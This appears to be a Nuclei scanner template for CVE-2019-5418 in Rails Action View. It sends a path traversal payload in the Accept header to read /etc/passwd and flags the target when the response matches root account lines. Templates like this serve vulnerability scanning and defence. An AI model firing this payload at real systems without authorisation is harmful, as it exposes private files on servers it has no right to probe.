id: CVE-2019-5418

info:
  name: File Content Disclosure on Rails
  author: omarkurt
  severity: high
  description: There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.
  reference:
    - https://github.com/omarkurt/CVE-2019-5418
    - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
  tags: cve,cve2019,rails,lfi,disclosure
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2019-5418

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    headers:
      Accept: ../../../../../../../../etc/passwd{{
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body